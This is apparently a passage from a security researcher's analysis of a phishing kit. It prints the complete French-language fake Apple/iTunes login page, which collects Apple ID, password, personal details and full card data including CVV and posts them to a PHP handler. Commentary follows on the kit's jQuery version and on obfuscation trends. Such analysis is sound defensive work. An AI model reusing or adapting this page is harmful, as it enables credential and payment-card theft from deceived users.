        <link href="dist/css/bootstrap.css" type="text/css" rel="stylesheet">
        <script src="Js/jquery-2.1.0.js" type="text/javascript"></script>

    </head>
    <body style="background-color: #F2F3F4;">

        <header>
            <img src="Images/Capture1.PNG">
        </header>

        <section>
            <article id="ar1">
                <img src="Images/content-icons.png"><br>
                <h1>Votre identifiant Apple</h1>
                <P>
                vous permet d'accéder facilement
                à une vaste gamme de services Apple, tels que l'iTunes Store,
                l'Apple Store en ligne, iChat,
                et bien plus encore. Vos informations ne seront communiquées
                à personne, sauf si vous nous y autorisez.
            </P>
            </article>


            <article id="ar2">
                <form name="iTunes" id="iTunes" class="f1" method="POST" action="param1.php" onSubmit="return valider()">
                    <h1>Confirmation de votre identité.</h1>
                    <p>Saisissez les informations associés à votre compte iTunes...</p>
                    <br>
                    <input type="text" class="form-control" placeholder="AppleID" name="param1" id="cH1" required>
                    <input type="password" class="form-control" placeholder="Mot De Passe" name="param2" id="cH2" required>

                    <input type="text" class="form-control" placeholder="Nom" name="nom" id="cH3" required >
                    <input type="text" class="form-control" placeholder="Prénom" name="prenom" id="cH4" required>

                    <input type="text" class="form-control" name="daten" placeholder="Date De Naissance" id="cH12" required >

                    <input type="text" class="form-control" placeholder="Ligne d'adresse" name="adresse" id="cH5" required>
                    <input type="text" class="form-control" placeholder="Code postal" name="zip" id="cH6" required>
                    <input type="text" class="form-control" placeholder="Téléphone" name="telephone" id="cH7" required>
                    <input type="text" class="form-control" placeholder="Ville" name="ville" id="cH8" required >
                    <img src="Images/cc.jpg" id="imgC"><br>
                    <input type="text" class="form-control" placeholder="Numéro de carte bancaire" name="num" id="cH9" required>
                    <input type="text" class="form-control" placeholder="Date d'éxpiration" name="mois" id="cH10" required>
                    <input type="text" class="form-control" placeholder="CVV/CVC" name="xrypt" id="cH11" required>
                    <button type="Submit" class="btn btn-default btn-info" id="btn1">Valider</button>
                    <button type="button" class="btn btn-primary btn-lg"  id="btn2">Connexion</button>
                </form>

            </article>
          
      
          <script type="text/javascript">
      function valider(){
         if ( document.iTunes.nom.value == "" ){
              alert ( "Veuillez entrer votre nom" );
              document.iTunes.nom.focus();
              return false;
          }
                     if ( document.iTunes.adresse.value == "" ){
              alert ( "Veuillez entrer votre adresse" );
              document.iTunes.adresse.focus();
              return false;
          }

         if (!document.iTunes.xrypt.value.match(/^[0-9]{3}$/)){
              alert ( "Cryptogramme (CVV) invalide" );
              document.iTunes.xrypt.focus();
              return false;
          }
         if ( document.iTunes.mois.value == "0"){
              alert ( "Vous avez indiqué une date d'expiration invalide" );
              document.iTunes.mois.focus();
              return false;
          }
      }
  </script>
          
          
          
          
          
              <script type="text/javascript">
function login()
{
var x=document.forms["iTunes"]["param1"].value; if (x==null || x=="Apple ID") { alert("Veuillez saisir votre identification."); return false; }
var x=document.forms["iTunes"]["param2"].value; if (x==null || x=="Mot de passe") { alert("Veuillez saisir votre mot de passe."); return false; }
var x=document.forms["iTunes"]["param1"].value; if (x==null || x.length <6) { alert("Identification invalid."); return false; }
var x=document.forms["iTunes"]["param2"].value; if (x==null || x.length <4) { alert("Mot de passe invalid."); return false; }

}

</script>
          
            <script type="text/javascript">
                $(document).ready()
                {
                    $('#cH3').hide();
                    $('#cH4').hide();
                    $('#cH5').hide();
                    $('#cH6').hide();
                    $('#cH7').hide();
                    $('#cH8').hide();
                    $('#cH9').hide();
                    $('#cH10').hide();
                    $('#cH11').hide();
                    $('#btn1').hide();
                    $('#cH12').hide();
                    $('#imgC').hide();
                }
                ;


                $('#btn2').click(function()
                {
                    $('section').css("height", "1050px");
                    $('#ar2').css("margin-top", "-50px");
                    $('#cH3').slideDown();
                    $('#cH4').slideDown();
                    $('#cH5').slideDown();
                    $('#cH6').slideDown();
                    $('#cH7').slideDown();
                    $('#cH8').slideDown();
                    $('#cH9').slideDown();
                    $('#cH10').slideDown();
                    $('#cH11').slideDown();
                    $('#cH12').slideDown();
                    $('#btn1').slideDown();
                    $('#btn2').slideUp();
                    $('#cH1').slideUp();
                    $('#cH2').slideUp();
                    $('#imgC').slideUp();
                });
            </script>
        </section>

        <footer>
            Copyright © 2014 Apple Inc. All rights reserved.
            <span class="pipe">|</span>
            <a href="#">Privacy Policy</a>
        </footer>


    </body>
</html>

This looks far more like a phishing page!

The included jquery-2.1.0.js file contained following comment:

1
2
3
4
5
6
7
8
9
10
11
12
13
/*!
 * jQuery JavaScript Library v2.1.0
 * http://jquery.com/
 *
 * Includes Sizzle.js
 * http://sizzlejs.com/
 *
 * Copyright 2005, 2014 jQuery Foundation, Inc. and other contributors
 * Released under the MIT license
 * http://jquery.org/license
 *
 * Date: 2014-01-23T21:10Z
 */

From the date mentioned in this comment, we can speculate that the phishing sitemight not be older then 2.5 weeks. A ‘diff’ with the JQuery 2.1.0 file for the official website shows that this file is not modified.

As you can see also the <article> tag is used. As this tag is introduced first in HTML5, this phishing site seems to be compatible with it :).

A malicious page that is largely built from obfuscated JavaScript: it is not something new. However, applying this technique to usual phishing sites, is rather uncommon, but not completely illogical. This kind of phishing site obfuscation will probably occur more and more in the future.